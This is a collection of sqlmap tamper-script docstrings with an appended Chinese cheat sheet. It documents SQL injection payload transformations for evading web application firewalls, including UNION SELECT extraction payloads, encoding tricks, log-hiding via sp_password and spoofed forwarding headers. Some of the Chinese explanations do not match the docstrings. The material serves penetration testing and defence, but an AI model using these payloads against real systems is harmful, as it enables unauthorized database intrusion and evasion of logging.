tamper函数的文档字符串: 
Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier

>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')
'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'

模块: sqlmap.tamper.least
tamper函数的文档字符串: 
Replaces greater than operator ('>') with 'LEAST' counterpart

Tested against:
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass weak and bespoke web application firewalls that
      filter the greater than character
    * The LEAST clause is a widespread SQL command. Hence, this
      tamper script should work against majority of databases

>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'

模块: sqlmap.tamper.lowercase
tamper函数的文档字符串: 
Replaces each keyword character with lower case value (e.g. SELECT -> select)

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that has poorly written permissive regular expressions

>>> tamper('INSERT')
'insert'

模块: sqlmap.tamper.luanginx
tamper函数的文档字符串: 
LUA-Nginx WAFs Bypass (e.g. Cloudflare)

Reference:
    * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/

Notes:
    * Lua-Nginx WAFs do not support processing of more than 100 parameters

>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'

模块: sqlmap.tamper.misunion
tamper函数的文档字符串: 
Replaces instances of UNION with -.1UNION

Requirement:
    * MySQL

Notes:
    * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf

>>> tamper('1 UNION ALL SELECT')
'1-.1UNION ALL SELECT'
>>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT'

模块: sqlmap.tamper.modsecurityversioned
tamper函数的文档字符串: 
Embraces complete query with (MySQL) versioned comment

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0

Notes:
    * Useful to bypass ModSecurity WAF

>>> import random
>>> random.seed(0)
>>> tamper('1 AND 2>1--')
'1 /*!30963AND 2>1*/--'

模块: sqlmap.tamper.modsecurityzeroversioned
tamper函数的文档字符串: 
Embraces complete query with (MySQL) zero-versioned comment

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0

Notes:
    * Useful to bypass ModSecurity WAF

>>> tamper('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

模块: sqlmap.tamper.multiplespaces
tamper函数的文档字符串: 
Adds multiple spaces (' ') around SQL keywords

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that has poorly written permissive regular expressions

Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

>>> random.seed(0)
>>> tamper('1 UNION SELECT foobar')
'1     UNION     SELECT     foobar'

模块: sqlmap.tamper.ord2ascii
tamper函数的文档字符串: 
Replaces ORD() occurences with equivalent ASCII() calls 

Requirement:
    * MySQL

>>> tamper("ORD('42')")
"ASCII('42')"

模块: sqlmap.tamper.overlongutf8
tamper函数的文档字符串: 
Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7)

Reference:
    * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
    * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/

>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1'

模块: sqlmap.tamper.overlongutf8more
tamper函数的文档字符串: 
Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)

Reference:
    * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
    * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/

>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
'%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1'

模块: sqlmap.tamper.percentage
tamper函数的文档字符串: 
Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)

Requirement:
    * ASP

Tested against:
    * Microsoft SQL Server 2000, 2005
    * MySQL 5.1.56, 5.5.11
    * PostgreSQL 9.0

Notes:
    * Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT FIELD FROM TABLE')
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'

模块: sqlmap.tamper.plus2concat
tamper函数的文档字符串: 
Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart

Tested against:
    * Microsoft SQL Server 2012

Requirements:
    * Microsoft SQL Server 2012+

Notes:
    * Useful in case ('+') character is filtered

>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'

>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
'1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'

模块: sqlmap.tamper.plus2fnconcat
tamper函数的文档字符串: 
Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart

Tested against:
    * Microsoft SQL Server 2008

Requirements:
    * Microsoft SQL Server 2008+

Notes:
    * Useful in case ('+') character is filtered
    * https://msdn.microsoft.com/en-us/library/bb630290.aspx

>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'

>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'

模块: sqlmap.tamper.randomcase
tamper函数的文档字符串: 
Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    * SQLite 3

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that has poorly written permissive regular expressions
    * This tamper script should work against all (?) databases

>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'InSeRt'
>>> tamper('f()')
'f()'
>>> tamper('function()')
'FuNcTiOn()'
>>> tamper('SELECT id FROM `user`')
'SeLeCt id FrOm `user`'

模块: sqlmap.tamper.randomcomments
tamper函数的文档字符串: 
Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)

>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'I/**/NS/**/ERT'

模块: sqlmap.tamper.schemasplit
tamper函数的文档字符串: 
Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')

Requirement:
    * MySQL

Notes:
    * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

>>> tamper('SELECT id FROM testdb.users')
'SELECT id FROM testdb 9.e.users'

模块: sqlmap.tamper.scientific
tamper函数的文档字符串: 
Abuses MySQL scientific notation

Requirement:
    * MySQL

Notes:
    * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

>>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1')
'1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1'

模块: sqlmap.tamper.sleep2getlock
tamper函数的文档字符串: 
Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0 and 5.5

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that filter the SLEEP() and BENCHMARK() functions

    * Reference: https://zhuanlan.zhihu.com/p/35245598

>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
True

模块: sqlmap.tamper.sp_password
tamper函数的文档字符串: 
Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

Requirement:
    * MSSQL

Notes:
    * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
    * Reference: http://websec.ca/kb/sql_injection

>>> tamper('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'

模块: sqlmap.tamper.space2comment
tamper函数的文档字符串: 
Replaces space character (' ') with comments '/**/'

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'

模块: sqlmap.tamper.space2dash
tamper函数的文档字符串: 
    Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('
')

    Requirement:
        * MSSQL
        * SQLite

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ZeroNights SQL injection challenge,
          https://proton.onsec.ru/contest/

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
    

模块: sqlmap.tamper.space2hash
tamper函数的文档字符串: 
    Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('
')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
    

模块: sqlmap.tamper.space2morecomment
tamper函数的文档字符串: 
Replaces (MySQL) instances of space character (' ') with comments '/**_**/'

Tested against:
    * MySQL 5.0 and 5.5

Notes:
    * Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/**_**/id/**_**/FROM/**_**/users'

模块: sqlmap.tamper.space2morehash
tamper函数的文档字符串: 
    Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('
')

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
    

模块: sqlmap.tamper.space2mssqlblank
tamper函数的文档字符串: 
Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters

Requirement:
    * Microsoft SQL Server

Tested against:
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005

Notes:
    * Useful to bypass several web application firewalls

>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0DFROM%04users'

模块: sqlmap.tamper.space2mssqlhash
tamper函数的文档字符串: 
    Replaces space character (' ') with a pound character ('#') followed by a new line ('
')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls

    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    

模块: sqlmap.tamper.space2mysqlblank
tamper函数的文档字符串: 
Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters

Requirement:
    * MySQL

Tested against:
    * MySQL 5.1

Notes:
    * Useful to bypass several web application firewalls

>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%A0id%0CFROM%0Dusers'

模块: sqlmap.tamper.space2mysqldash
tamper函数的文档字符串: 
    Replaces space character (' ') with a dash comment ('--') followed by a new line ('
')

    Requirement:
        * MySQL
        * MSSQL

    Notes:
        * Useful to bypass several web application firewalls.

    >>> tamper('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
    

模块: sqlmap.tamper.space2plus
tamper函数的文档字符串: 
Replaces space character (' ') with plus ('+')

Notes:
    * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
    * This tamper script works against all databases

>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'

模块: sqlmap.tamper.space2randomblank
tamper函数的文档字符串: 
Replaces space character (' ') with a random blank character from a valid set of alternate characters

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass several web application firewalls

>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0CFROM%0Ausers'

模块: sqlmap.tamper.substring2leftright
tamper函数的文档字符串: 
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT

Tested against:
    * PostgreSQL 9.6.12

Note:
    * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)

>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
'LEFT((SELECT usename FROM pg_user)::text,1)'
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'

模块: sqlmap.tamper.symboliclogical
tamper函数的文档字符串: 
Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)

>>> tamper("1 AND '1'='1")
"1 %26%26 '1'='1"

模块: sqlmap.tamper.unionalltounion
tamper函数的文档字符串: 
Replaces instances of UNION ALL SELECT with UNION SELECT counterpart

>>> tamper('-1 UNION ALL SELECT')
'-1 UNION SELECT'

模块: sqlmap.tamper.unmagicquotes
tamper函数的文档字符串: 
Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)

Notes:
    * Useful for bypassing magic_quotes/addslashes feature

Reference:
    * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

>>> tamper("1' AND 1=1")
'1%bf%27-- -'

模块: sqlmap.tamper.uppercase
tamper函数的文档字符串: 
Replaces each keyword character with upper case value (e.g. select -> SELECT)

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that has poorly written permissive regular expressions
    * This tamper script should work against all (?) databases

>>> tamper('insert')
'INSERT'

模块: sqlmap.tamper.varnish
tamper函数的文档字符串: 
Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall

Reference:
    * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366

Notes:
    Examples:
    >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
    >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
    >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
    >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
    >> X-remote-IP: * or %00 or %0A

模块: sqlmap.tamper.versionedkeywords
tamper函数的文档字符串: 
Encloses each non-function keyword with (MySQL) versioned comment

Requirement:
    * MySQL

Tested against:
    * MySQL 4.0.18, 5.1.56, 5.5.11

Notes:
    * Useful to bypass several web application firewalls when the
      back-end database management system is MySQL

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'

模块: sqlmap.tamper.versionedmorekeywords
tamper函数的文档字符串: 
Encloses each keyword with (MySQL) versioned comment

Requirement:
    * MySQL >= 5.1.13

Tested against:
    * MySQL 5.1.56, 5.5.11

Notes:
    * Useful to bypass several web application firewalls when the
      back-end database management system is MySQL

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'

模块: sqlmap.tamper.xforwardedfor
tamper函数的文档字符串: 
Append a fake HTTP header 'X-Forwarded-For' (and alike)

解释:

0eunion.py
apostrophemask.py
    适用数据库:ALL
    作用:将引号替换为utf-8,用于过滤单引号
    使用脚本前:tamper("1 AND '1'='1")
    使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
apostrophenullencode.py
    适用数据库:ALL
    作用:用非法双字节Unicode字符替换单引号
    使用脚本前:tamper("1 AND '1'='1")
    使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
    适用数据库:ALL
    作用:在有效载荷的结束位置加载null字节字符编码
    使用脚本前:tamper('1 AND 1=1')
    使用脚本后:1 AND 1=1%00
base64encode.py
    适用数据库:ALL
    作用:替换为base64编码
    使用脚本前:tamper("1' AND SLEEP(5)#")
    使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
between.py
    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:用between替换大于号>
    使用脚本前:tamper('1 AND A > B--')
    使用脚本后:1 AND A NOT BETWEEN 0 AND B--
binary.py
bluecoat.py
    适用数据库:Blue Coat SGOS
    测试通过数据库:MySQL 5.1,、SGOS
    作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
    使用脚本前:tamper('SELECT id FROM users where id = 1')
    使用脚本后:SELECT%09id FROM users where id LIKE 1
chardoubleencode.py
    适用数据库:ALL
    作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
    使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
    使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
charencode.py
    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
    使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
    使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
charunicodeencode.py
    适用数据库:ASP、ASP.NET
    测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
    作用:适用字符串的unicode编码
    使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
    使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charunicodeescape.py
commalesslimit.py
commalessmid.py
commentbeforeparentheses.py
concat2concatws.py
decentities.py
dunion.py
equaltolike.py
    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:将=替换为LIKE
    使用脚本前:tamper('SELECT * FROM users WHERE id=1')
    使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltorlike.py
escapequotes.py
greatest.py
halfversionedmorekeywords.py
    适用数据库:MySQL < 5.1
    测试通过数据库:MySQL 4.0.18/5.0.22
    作用:在每个关键字前添加mysql版本注释
    使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
hex2char.py
hexentities.py
htmlencode.py
if2case.py
ifnull2casewhenisnull.py
ifnull2ifisnull.py
    适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
    测试通过数据库:MySQL 5.0 and 5.5
    作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
    使用脚本前:tamper('IFNULL(1, 2)')
    使用脚本后:IF(ISNULL(1),2,1)
informationschemacomment.py
least.py
lowercase.py
luanginx.py
misunion.py
modsecurityversioned.py
    适用数据库:MySQL
    测试通过数据库:MySQL 5.0
    作用:过滤空格,使用mysql内联注释的方式进行注入
    使用脚本前:tamper('1 AND 2>1--')
    使用脚本后:1 /*!30874AND 2>1*/--
modsecurityzeroversioned.py
    适用数据库:MySQL
    测试通过数据库:MySQL 5.0
    作用:使用内联注释方式(/*!00000*/)进行注入
    使用脚本前:tamper('1 AND 2>1--')
    使用脚本后:1 /*!00000AND 2>1*/--
multiplespaces.py
    适用数据库:ALL
    作用:围绕sql关键字添加多个空格
    使用脚本前:tamper('1 UNION SELECT foobar')
    使用脚本后:1 UNION SELECT foobar
nonrecursivereplacement.py
    适用数据库:ALL
    作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
    使用脚本前:tamper('1 UNION SELECT 2--')
    使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
ord2ascii.py
overlongutf8.py
overlongutf8more.py
percentage.py
    适用数据库:ASP
    测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
    作用:在每个字符前添加一个%
    使用脚本前:tamper('SELECT FIELD FROM TABLE')
    使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
plus2concat.py
plus2fnconcat.py
randomcase.py
    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:随机大小写
    使用脚本前:tamper('INSERT')
    使用脚本后:INseRt
randomcomments.py
    适用数据库:ALL
    作用:用注释符分割sql关键字
    使用脚本前:tamper('INSERT')
    使用脚本后:I/**/N/**/SERT
securesphere.py
    适用数据库:ALL
    作用:追加特定的字符串
    使用脚本前:tamper('1 AND 1=1')
    使用脚本后:1 AND 1=1 and '0having'='0having'
schemasplit.py
scientific.py
sleep2getlock.py
sp_password.py
    适用数据库:MSSQL
    作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
    使用脚本前:tamper('1 AND 9227=9227-- ')
    使用脚本后:1 AND 9227=9227-- sp_password
space2comment.py
    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:将空格替换为/**/
    使用脚本前:tamper('SELECT id FROM users')
    使用脚本后:SELECT/**/id/**/FROM/**/users
space2dash.py
    适用数据库:ALL
    作用:将空格替换为--,并添加一个随机字符串和换行符
    使用脚本前:tamper('1 AND 9227=9227')
    使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2hash.py
    作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释一个随机字符串和一个新行(’ n’)
    使用脚本前:'1 AND 9227=9227' 
    使用脚本后:'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
space2morecomment.py
space2morehash.py
    适用数据库:MySQL >= 5.1.13
    测试通过数据库:MySQL 5.1.41
    作用:将空格替换为#,并添加一个随机字符串和换行符
    使用脚本前:tamper('1 AND 9227=9227')
    使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
space2mssqlblank.py
